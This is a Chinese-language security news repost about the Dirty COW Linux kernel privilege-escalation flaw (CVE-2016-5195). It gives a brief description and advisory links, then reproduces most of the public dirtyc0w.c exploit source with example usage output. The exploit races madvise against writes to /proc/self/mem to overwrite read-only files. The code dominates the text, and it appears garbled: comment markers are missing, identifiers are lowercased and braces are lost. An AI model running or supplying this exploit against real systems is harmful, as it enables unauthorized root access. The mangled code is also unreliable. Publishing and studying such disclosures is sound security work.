dirty cow (cve-2016-5195) 是 linux kernel 中的一個權限提升漏洞。linux 核心記憶體子系統處理私有隻讀存儲器映射的寫入時複制 （cow） 機制被發現了一個沖突條件。這個漏洞存在于 2.6.22以後的版本 （在 2007 年釋出），已經在 2016 年 10 月 18 日修複。
該漏洞影響
沒有權限的本地使用者可以使用此漏洞擷取寫通路權限，修改隻讀記憶體映射，進而增加他們在系統上的特權。
該漏洞允許攻擊者使用本地系統帳戶修改磁盤上的二進制檔案，繞過标準的權限機制，這些權限機制通常用于防止修改沒有适當的權限集。
debian及redhat分别就此漏洞釋出公告
更多内容請查閱：
<a href="https://bugzilla.redhat.com/show_bug.cgi?id=1384344">https://bugzilla.redhat.com/show_bug.cgi?id=1384344</a>
<a href="http://seclists.org/bugtraq/2016/oct/43">http://seclists.org/bugtraq/2016/oct/43</a>
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
m00000000000000000
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
void *map;
int f;
struct stat st;
char *name;
void *madvisethread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
you have to race madvise(madv_dontneed) :: https://access.redhat.com/security/vulnerabilities/2706661
> this is achieved by racing the madvise(madv_dontneed) system call
> while having the page of the executable mmapped in memory.
c+=madvise(map,100,madv_dontneed);
}
printf("madvise %d\n\n",c);
void *procselfmemthread(void *arg)
you have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> the in the wild exploit we are aware of doesn't work on red hat
> enterprise linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on red hat enterprise linux 5 and 6.
int f=open("/proc/self/mem",o_rdwr);
for(i=0;i<100000000;i++) {
you have to reset the file pointer to the memory position.
lseek(f,map,seek_set);
c+=write(f,str,strlen(str));
printf("procselfmem %d\n\n", c);
int main(int argc,char *argv[])
you have to pass two arguments. file and contents.
if (argc<3)return 1;
pthread_t pth1,pth2;
you have to open the file in read only mode.
f=open(argv[1],o_rdonly);
fstat(f,&st);
name=argv[1];
you have to use map_private for copy-on-write mapping.
> create a private copy-on-write mapping. updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. it
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
you have to open with prot_read.
map=mmap(null,st.st_size,prot_read,map_private,f,0);
printf("mmap %x\n\n",map);
you have to do it on two threads.
pthread_create(&pth1,null,madvisethread,argv[1]);
pthread_create(&pth2,null,procselfmemthread,argv[2]);
you have to wait for the threads to finish.
pthread_join(pth1,null);
pthread_join(pth2,null);
return 0;
原文釋出時間：2017年3月24日
本文由：安全加 釋出，版權歸屬于原作者
原文連結：http://toutiao.secjia.com/linux-kernel-local-rights-loophole-cve-2016-5195
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